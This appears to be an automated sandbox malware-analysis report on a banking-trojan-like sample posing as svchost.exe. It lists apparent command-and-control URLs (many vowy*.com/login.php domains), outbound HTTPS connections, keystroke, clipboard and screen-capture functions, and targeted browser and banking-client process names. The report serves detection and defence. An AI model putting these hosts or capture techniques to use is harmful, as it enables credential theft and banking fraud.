Source: svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopyrik.com/login.php
Source: svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2646474973.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopyzot.com/login.php
Source: svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2581725706.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582543248.00000000087FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowydic.com/login.php
Source: svchost.exe, 00000002.00000003.2321460609.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2320047859.00000000033EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowygem.com/
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321460609.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2320047859.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowygem.com/login.php
Source: svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635826907.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowykuc.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowymom.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558551911.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458885.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307211585.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowymyk.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336690325.0000000008692000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowypek.com/login.php
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2297525559.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296876973.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2297408732.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298813609.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowyqoc.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowyqyt.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2391261344.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384383810.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowyrec.com/login.php
Source: svchost.exe, 00000002.00000003.2347368990.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347564818.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowyrif.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337099007.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337011719.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336766554.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337435190.0000000008611000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335316915.0000000008611000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowyzam.com/login.php
Source: svchost.exe, svchost.exe, 00000002.00000003.2155014934.00000000008E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.0000000008730000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301297891.0000000003336000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395119588.0000000005815000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2804111007.0000000003382000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2291261524.0000000003334000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.000000000872D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3387030843.0000000000877000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2383172767.0000000005839000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2777502363.000000000570E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2368015622.0000000005847000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394725639.000000000587C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2282302761.0000000008736000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2320199139.000000000087E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434070783.000000000086F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434703123.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2259782949.000000000087A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2516528326.000000000580A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329663248.000000000872F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.0000000008730000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.com
Source: svchost.exe, 00000002.00000003.2349262173.0000000008730000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.0000000008719000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2367201179.000000000582E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359436264.00000000033BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350147998.00000000033BA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2383904533.000000000586C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2621492220.00000000058BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.0000000008721000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.000000000872F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553692894.00000000008EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2378235533.0000000005848000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2605320423.000000000338A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2367201179.0000000005839000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2392137970.0000000005819000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319203666.0000000003341000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328874085.000000000872A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2318284670.000000000872A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2615047477.0000000000877000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745052967.000000000087A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.000000000872B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553216156.000000000581D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comt
Source: svchost.exe, 00000002.00000003.2588423282.00000000058B6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comtc
Source: svchost.exe, 00000002.00000003.2332778027.0000000008726000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.0000000008726000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2367567062.0000000008726000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comtor
Source: svchost.exe, 00000002.00000003.2647147524.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772293102.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2782999579.00000000033B1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548644683.00000000033B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577142640.00000000033AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283877538.00000000033B4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772917622.00000000033AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2540861567.00000000033B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671925473.00000000033B2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2565873151.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2593214354.00000000033B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610458260.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746258983.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577027028.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432750056.00000000033B5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3347214715.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2804489840.00000000033B5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502762166.00000000033B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749882709.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2790342105.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396609066.00000000033B6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://puzylyp.com/
Source: svchost.exe, 00000002.00000003.2395119588.0000000005815000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3401901735.0000000008633000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408310468.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2400541211.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3302424542.0000000000893000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2433469264.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2430808473.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2391743825.0000000005833000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3397671666.0000000005805000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396706488.00000000086F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2182114960.000000000860A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408240997.0000000008690000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548643584.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397272204.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395827509.00000000086EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.0000000008637000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2179562507.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341800126.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2162881496.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395669768.0000000005833000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://qegyhig.com/login.php
Source: unknownNetwork traffic detected: HTTP traffic on port 58868 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 58866 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63490
Source: unknownNetwork traffic detected: HTTP traffic on port 64582 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 59137 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 63317 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63493
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 64582
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58879
Source: unknownNetwork traffic detected: HTTP traffic on port 63440 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 64574 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 63420 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58899
Source: unknownNetwork traffic detected: HTTP traffic on port 58879 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 59138
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 59137
Source: unknownNetwork traffic detected: HTTP traffic on port 64573 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 63490 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 64574
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63440
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 64573
Source: unknownNetwork traffic detected: HTTP traffic on port 63303 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63420
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63303
Source: unknownNetwork traffic detected: HTTP traffic on port 58867 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 59138 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58868
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58867
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58866
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63317
Source: unknownNetwork traffic detected: HTTP traffic on port 63299 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 58899 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 63493 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63299
Source: unknownHTTPS traffic detected: 99.83.170.3:443 -> 192.168.2.6:58866 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:58867 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:58868 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:58879 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:58899 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:63303 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:63317 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:63420 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:63440 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:63493 version: TLS 1.2
Source: unknownHTTPS traffic detected: 75.2.71.199:443 -> 192.168.2.6:63490 version: TLS 1.2
Source: unknownHTTPS traffic detected: 75.2.71.199:443 -> 192.168.2.6:59137 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:59138 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:64574 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64582 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

barindex
Contains functionality to capture and log keystrokes
Source: C:\Windows\apppatch\svchost.exeCode function: [tab]2_2_02C81B80
Source: C:\Windows\apppatch\svchost.exeCode function: [del]2_2_02C81B80
Source: C:\Windows\apppatch\svchost.exeCode function: [del]2_2_02C81B80
Source: C:\Windows\apppatch\svchost.exeCode function: [ins]2_2_02C81B80
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C81E60 memset,GlobalLock,GetCurrentThreadId,GetGUIThreadInfo,GetOpenClipboardWindow,GetActiveWindow,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GlobalUnlock,GlobalUnlock,2_2_02C81E60
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C78630 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,GetLastError,EmptyClipboard,SetClipboardData,CloseClipboard,2_2_02C78630
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_01748630 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,GetLastError,EmptyClipboard,SetClipboardData,CloseClipboard,6_2_01748630
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_03108630 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,GetLastError,EmptyClipboard,SetClipboardData,CloseClipboard,7_2_03108630
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_01528630 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,GetLastError,EmptyClipboard,SetClipboardData,CloseClipboard,10_2_01528630
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C93950 GetDesktopWindow,GetWindowDC,CreateCompatibleDC,PathAddBackslashA,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateDIBSection,SelectObject,BitBlt,GetDesktopWindow,GetDC,GetProcessHeap,HeapAlloc,memset,GetDIBits,GetDIBits,WriteFile,ReleaseDC,2_2_02C93950
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C81B80 memset,GetProcessHeap,HeapAlloc,memset,GetProcessHeap,HeapValidate,GetProcessHeap,HeapReAlloc,GetKeyboardState,ToAscii,2_2_02C81B80

E-Banking Fraud

barindex
Checks if browser processes are running
Source: C:\Windows\apppatch\svchost.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,RtlAllocateHeap,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|2_2_02C86370
Source: C:\Windows\apppatch\svchost.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,RtlAllocateHeap,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|2_2_02C86370
